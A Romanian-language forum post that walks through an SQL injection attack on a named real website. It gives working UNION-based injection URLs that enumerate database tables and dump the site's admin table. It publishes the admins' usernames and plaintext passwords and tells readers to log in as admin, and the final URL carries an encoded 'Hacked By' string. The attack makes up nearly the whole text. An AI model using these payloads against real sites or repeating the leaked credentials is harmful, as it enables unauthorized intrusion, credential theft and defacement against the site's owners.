XtGem Forum catalog
Cum facem un SQL Injection intr-un site?
|- Prima data luam un site care sa contina la sfarsitul link-ului "id=" , "cat=" , "p=" ETC...
http://www.charleyhull.net/newsdetail.php?nid=24

|- Verficam daca e vulnerabil! Cum? Inlocuim valoarea id-ului cu "-1'" nid=24 ->>> -1'
http://www.charleyhull.net/newsdetail.php?nid=-1'

|- Vedem ca site-ul e vulnerabil deoarece da eroare!
Database Error
query : SELECT * FROM News WHERE ID = -1'
Error Number : 1064
Error Message : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

|- Eliminam apostroful din id si adaugam dupa -1 "union all select" exact asa: nid=-1 union all select 1,2,3--
http://www.charleyhull.net/newsdetail.php?nid=-1 union all select 1,2,3--
NOTA: Numerele care le-am adaugat pe site "1,2,3" inseamna numarul de coloane pe care ne ramane sa il nimerim, adaugam tot mai multe pana cand nu va mai aparea eroare pe site

|- Pe site spune ca numarul de coloane nu l-am nimerit!
The used SELECT statements have a different number of columns
http://www.charleyhull.net/newsdetail.php?nid=-1 union all select 1,2,3--
NOTA: Punem mai multe numere in link, cu virgula (,) intre ele! "union all select 1,2,3,4" ; "union all select 1,2,3,4,5" pana cand gasim numarul coloanelor!

|- Incercam mai multe coloane si pana la final aflam ca numarul lor e 7
nid=-1 union all select 1,2,3,4,5,6,7
http://www.charleyhull.net/newsdetail.php?nid=-1 union all select 1,2,3,4,5,6,7--
NOTA: Vedem ca site-ul nu mai da eroare! Dar in schimb au aparut niste numere (2,3 si 5), Ce sunt alea? Acelea sunt coloanele vulnerabile ale site-ului! Mai jos invatam cum sa le aflam numele lor!

|- Acum ne mai ramane sa aflam numarul coloanelor si parola adminiilor!
http://www.charleyhull.net/newsdetail.php?nid=-1 union all select 1,2, group_concat(table_name) ,4,5,6,7 from information_schema.tables where table_schema=database()--
NOTA: In locul unui numar aparut pe site (in cazul nostru nr. "3") punem in locul lui "group_concat(table_name)" sa aflam numele coloanelor de unde extragem parola adminului, iar la sfarsitul link-ului (dupa numarul coloanelor) adaugam "from information_schema.tables where table_schema=database()--" Ce-a ce inseamna locatia de unde sa extraga numele coloanelor!

|- Am aflat numele coloanelor!
AdminUsers,Gallery,News,Schedule
Care e coloana suspecta? Normal ca e "AdminUsers" Din aceasta urmeaza sa extragem username-urile si parolele adminiilor!

|- Cum aflam username-ul si parola adminului?
group_concat(username,0x20202d2020,password)
Codul de mai sus trebuie sa il scriem in locul unei coloane vulnerabile (2,3 sau 5) iar la sfarsitul link-ului trebuie sa scriem "from AdminUsers--" cea ce rezulta numele coloanei de unde vrem sa extragem datele respective! (username+password)
http://www.charleyhull.net/newsdetail.php?nid=-1 union all select 1,2,group_concat(username,0x20202d2020,password),4,5,6,7 from AdminUsers--

|- Am descoperit username-ul si parola adminiilor!
triad - googol45cha si norman.sandell - me1962on
Tot ce ne mai ramane de facut e sa aflam pagina de login care poate fi undeva in "/login.php" ; "/admin/" ; "/admin/login.php" ; "/administration.php" ; "admin.numesite.net" ETC... Si va logati cu datele de mai sus si acum DVS sunteti admin!
http://www.charleyhull.net/newsdetail.php?nid=-1%20union%20all%20select%201,concat(version(),0x20202d2020,user(),0x20202d2020,database()),group_concat(username,0x20202d2020,password),4,CHAR(72, 97, 99, 107, 101, 100, 32, 66, 121, 32, 115, 87, 97, 77, 112, 89),6,7 from AdminUsers--

..:::MENIU:::..